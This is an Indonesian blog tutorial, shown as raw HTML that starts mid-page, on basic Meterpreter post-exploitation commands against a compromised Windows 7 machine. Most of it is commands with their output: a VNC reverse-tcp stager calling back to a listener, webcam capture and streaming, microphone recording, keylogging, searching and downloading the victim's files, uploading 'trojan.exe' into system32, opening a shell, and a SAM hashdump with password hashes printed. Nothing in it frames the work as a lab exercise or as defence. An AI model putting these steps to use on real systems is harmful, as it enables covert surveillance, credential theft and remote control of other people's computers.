#3d85c6;"><b>[*]</b></span><span style="color: lime;"> Backgrounding session 1... msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > sessions -i 1 </span><span style="color: #3d85c6;"><b>[*]</b></span><span style="color: lime;"> Starting interaction with 1... meterpreter > </span></span></pre> <div> <b><span style="font-size: large;">sysinfo</span></b><br /> Perintah ini digunakan untuk melihat informasi sistem target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > sysinfo Computer : SAMSUNG OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 4 Meterpreter : x86/win32</span></span></pre> </div> <div> <div> <b><span style="font-size: large;">run vnc</span></b></div> Perintah ini digunakan untuk remote sistem target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > run vnc </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Creating a VNC reverse tcp stager: LHOST=192.168.1.100 LPORT=4545 </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Running payload handler </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> VNC stager executable 73802 bytes long </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Uploaded the VNC agent to C:\Users\Samsung\AppData\Local\Temp\sccHTQrAIy.exe (must be deleted manually) </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Executing the VNC agent with endpoint 192.168.1.100:4545...</span></span> </pre> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhfFArkS_szcD72pMbbFhZ9dRNVb_kigY4v6IhpdGbvh0EzA3Ta1vEQB5E5mwouPkmIzB_ZxIf5Q2aXphmFmNRzy3tQMv5x3_9YNHxD3BJddIagEcIkxxi1rL0QooDycTbBrqd0BnsRo/s1600/run+vnc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run vnc" border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhfFArkS_szcD72pMbbFhZ9dRNVb_kigY4v6IhpdGbvh0EzA3Ta1vEQB5E5mwouPkmIzB_ZxIf5Q2aXphmFmNRzy3tQMv5x3_9YNHxD3BJddIagEcIkxxi1rL0QooDycTbBrqd0BnsRo/s400/run+vnc.png" title="Perintah - Perintah dasar Meterpreter Metasploit" width="400" /></a></div> <br /></div> <b><span style="font-size: large;">webcam_list</span></b><br /> Perintah ini digunakan untuk melihat list webcam yang ada</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > webcam_list 1: ManyCam Virtual Webcam 2: HP Webcam-50 meterpreter > </span></span></pre> <b><span style="font-size: large;">webcam_snap</span></b><br /> Perintah ini digunakan untuk mengambil gambar dari webcam</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > webcam_snap </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting... </span><b style="color: lime;">[+]</b><span style="color: lime;"> Got frame </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Stopped Webcam shot saved to: /root/PZegxMLF.jpeg meterpreter > </span></span> </pre> <div> <b><span style="font-size: large;">webcam_stream</span></b></div> <div> Perintah ini digunakan untuk streaming secara langsung dari webcam target</div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > webcam_stream </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Preparing player... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Opening player at: GHqixCls.html </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Streaming... </span></span></span></span></pre> <b><span style="font-size: large;">record_mic</span></b><br /> Perintah ini digunkan untuk mengambil rekaman suara dari microphone target, tambahkan opsi -d utuk menentukan interfal</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > record_mic -d 10 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Stopped Audio saved to: /root/UqxrMpys.wav meterpreter > </span></span></pre> </div> <div> <b><span style="font-size: large;">run keylogrecorder</span></b></div> <div> Perintah ini digunakan untuk merekam aktifitas keyboard pada sistem target, tekan Ctrl+C untuke berhenti</div> <span style="font-size: large;"></span><br /> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > run keylogrecorder </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting the keystroke sniffer... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.1.103_20160229.0841.txt </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Recording ^C[*] Saving last few keystrokes </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Interrupt </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Stopping keystroke sniffer... meterpreter > </span></span></pre> </div> <span style="font-size: large;"><b>geteuid</b></span><br /> perintah ini digunakan untuk melihat user server yang sedang berjalan<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > getuid Server username: Samsung\Samsung meterpreter > </span></span></pre> <b><span style="font-size: large;">getsid</span></b><br /> Perintah ini digunakan untuk mendapatkan SID dari user server yang sedang berjalan<br /> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > getsid Server SID: S-1-5-21-341670393-1752858153-726497755-1000 meterpreter > </span></span></pre> </div> <div> <b><span style="font-size: large;">Search</span></b></div> <div> <div> Perintah untuk mencari sebuah file yang ada di sistem target, gunakan opsi -f untuk mencari file dengan format tertentu</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > search -f .pdf Found 50 results... </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">\CV.PDF (136731 bytes)</span> <span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">HowTo.pdf (570012 bytes)</span> <span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">\pertemuan-04-klasifikasi-jaringan-komputer-compatibility-mode.pdf (149072 bytes)</span> <span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">\TUTORIAL VERIFIKASI PIN ADSENSE.pdf (1170899 bytes)</span></pre> </div> </div> <span style="font-size: large;">'</span><b style="font-size: x-large;">pwd</b><span style="font-size: large;">' dan '</span><b style="font-size: x-large;">cd</b><span style="font-size: large;">'</span><br /> <div> <b>pwd </b>digunakan untuk melihat dimana letak kita berada di direktory target, dan <b>cd </b>untuk masuk ke sebuah direktory</div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > pwd C:\ meterpreter > cd Users meterpreter > pwd C:\Users meterpreter > </span></span></pre> <span style="font-size: large;"><b>ls</b> </span><br /> Sama dengan perintah pada terminal linux, ini digunakan untuk melihat list dari suatu direktory<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"><span style="font-size: 11.7px; line-height: 19px;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > ls Listing: C:\Users\Samsung\Documents ====================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2016-02-09 17:41:36 +0700 Bluetooth Folder 100666/rw-rw-rw- 136731 fil 2015-11-24 03:55:43 +0700 CV.PDF 100666/rw-rw-rw- 1992 fil 2016-02-03 17:26:41 +0700 Default.rdp 100666/rw-rw-rw- 73216 fil 2016-01-16 17:22:29 +0700 Drawing1 FLOW EGA.vsd 100666/rw-rw-rw- 570012 fil 2015-12-02 17:39:08 +0700 HowTo.pdf 100666/rw-rw-rw- 1170899 fil 2015-12-14 19:50:58 +0700 TUTORIAL VERIFIKASI PIN ADSENSE.pdf 100666/rw-rw-rw- 8251365 fil 2015-11-23 14:11:54 +0700 Untitled.pdf 40777/rwxrwxrwx 0 dir 2015-11-23 11:09:39 +0700 penggajian_Taruna_Karya 100666/rw-rw-rw- 149072 fil 2015-12-06 21:53:04 +0700 pertemuan-04-klasifikasi-jaringan-komputer-compatibility-mode.pdf 100666/rw-rw-rw- 20505 fil 2016-01-12 14:56:55 +0700 recruitingindo511.docx meterpreter > </span></span></span></span></pre> <span style="font-size: large;"><b>download</b></span><br /> Perintah ini digunakan untuk mengambil file dari sistem target<br /> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > download Default.rdp /root/Desktop/ </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> downloading: Default.rdp -> /root/Desktop/Default.rdp </span><span style="color: #3d85c6;"><b>[*]</b></span><span style="color: lime;"> download : Default.rdp -> /root/Desktop/Default.rdp meterpreter > </span></span> </pre> <div> <b>/root/Desktop </b>merupakan letak dimana file akan disimpan</div> <div> <br /></div> <div> <b><span style="font-size: large;">upload</span></b></div> <div> <div> Perintah ini digunakan untuk mengirim sebuah file ke sistem target, dengan direktory yang ditetukan</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;"><span style="color: lime;">meterpreter > upload trojan.exe c:\\windows\\system32 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> uploading : trojan.exe -> c:\windows\system32 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> uploaded : trojan.exe -> c:\windows\system32\trojan.exe meterpreter ></span></span></span><span style="background-color: transparent;"> </span></pre> </div> </div> </div> <div> <div> <b><span style="font-size: large;">cat</span></b><br /> Sama seperti perintah umumnya pada linux, ini digunakan untuk menampilkan isi dari sebuah file <br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > cat Usage: cat file meterpreter > cat Anherr.txt Perintah Perintah dasar Meterpreter by Anherr Blog's meterpreter > </span></span></pre> <b><span style="font-size: large;">mkdir</span></b><br /> <div> Perintah ini digunakan untuk membuat sebuah folder</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > mkdir Anherr Creating directory: Anherr meterpreter > </span></span> </pre> </div> </div> <div> <div> <b>Kita juga dapat menggunkan peritah </b><br /> <b>cp</b> untuk mengcopy file<br /> <b>rm</b> untuk menghapus file<br /> <b>rmdir</b> untuk menghapus suatu direktory <br /> <br /> <b><span style="font-size: large;">ipconfig</span></b><br /> Perintah ini digunakan untuk meliha ip target secara keseluruhan</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Qualcomm Atheros AR9485 802.11b/g/n WiFi Adapter Hardware MAC : 55:7d:68:15:dd:ef MTU : 1500 IPv4 Address : 192.168.1.103 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::cdb0:307a:4cdc:71e4 IPv6 Netmask : ffff:ffff:ffff:ffff::</span></span> </pre> </div> </div> <div> <b><span style="font-size: large;">netstat</span></b></div> </div> <div> Perintah ini digunakan untuk menampilkan koneklsi jaringan pada sistem target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">meterpreter > netstat Connection list =============== Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 808/svchost.exe tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System tcp 0.0.0.0:49152 0.0.0.0:* LISTEN 0 0 480/wininit.exe tcp 0.0.0.0:49153 0.0.0.0:* LISTEN 0 0 904/svchost.exe tcp 0.0.0.0:49154 0.0.0.0:* LISTEN 0 0 984/svchost.exe tcp 0.0.0.0:49155 0.0.0.0:* LISTEN 0 0 608/services.exe</span></pre> <b><span style="font-size: large;">ps</span></b><br /> Perintah ini digunakan untuk meliha list prosses yang sedang berjalan pada target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System 276 smss.exe 376 Ath_CoexAgent.exe 2968 taskhost.exe x86 1 Samsung\Samsung C:\Windows\system32\taskhost.exe 2976 dwm.exe x86 1 Samsung\Samsung C:\Windows\system32\Dwm.exe 3024 explorer.exe x86 1 Samsung\Samsung C:\Windows\Explorer.EXE</span></span></pre> <div> <b><span style="font-size: large;">migrate</span></b></div> Perintah ini digunakan untuk berpindah ke prosses yang lain</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > migrate 3024 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Migrating from 1192 to 3024... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Migration completed successfully. meterpreter > </span></span></pre> </div> <div> <div> <b><span style="font-size: large;">execute</span></b></div> <div> Perintah untuk mengeksekusi, contoh untuk menjalankan cmd.exe</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > execute -f cmd.exe Process 316 created. meterpreter > </span></span></pre> </div> <div> <b><span style="font-size: large;">shell</span></b></div> <div> <div> Perintah ini digunakan untuk mendapatkan shell dari sistem target, layaknya Command Prompt</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">meterpreter > shell Process 3456 created. Channel 3 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32></span> </pre> </div> </div> <div> <b><span style="font-size: large;">hashdump</span></b></div> <div> <div> Perintah ini digunakan untuk dump database SAM</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > run post/windows/gather/hashdump </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Obtaining the boot key... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Obtaining the user list and keys... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Decrypting user keys... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Dumping password hashes... Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3::: dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9::: victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\></span></span></pre> </div> </div> <div> <div style="text-align: justify;"> Itulah beberapa contoh dari perintah-perintah meterpreter di metasploit, sebetulnya masih ada lagi namun akan banyak jika ditulis semua, hehe , silahkan ketik <b>help </b>pada meterpreter untuk melihat semua list yang ada<br /> Cukup itu dulu yang dapat saya bagikan kali ini , semoga bermanfaat</div> sumber <a href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/" rel="nofollow" target="_blank">www.offensive-security.com</a></div> </div>

Perintah - Perintah dasar Meterpreter Metasploit

Pada postingan kali ini saya akan membagikan beberapa perintah-perintah yang dapat dijalankan ketika kita sudah mendapatkan sesi meterpret...

Baca selengkapnya »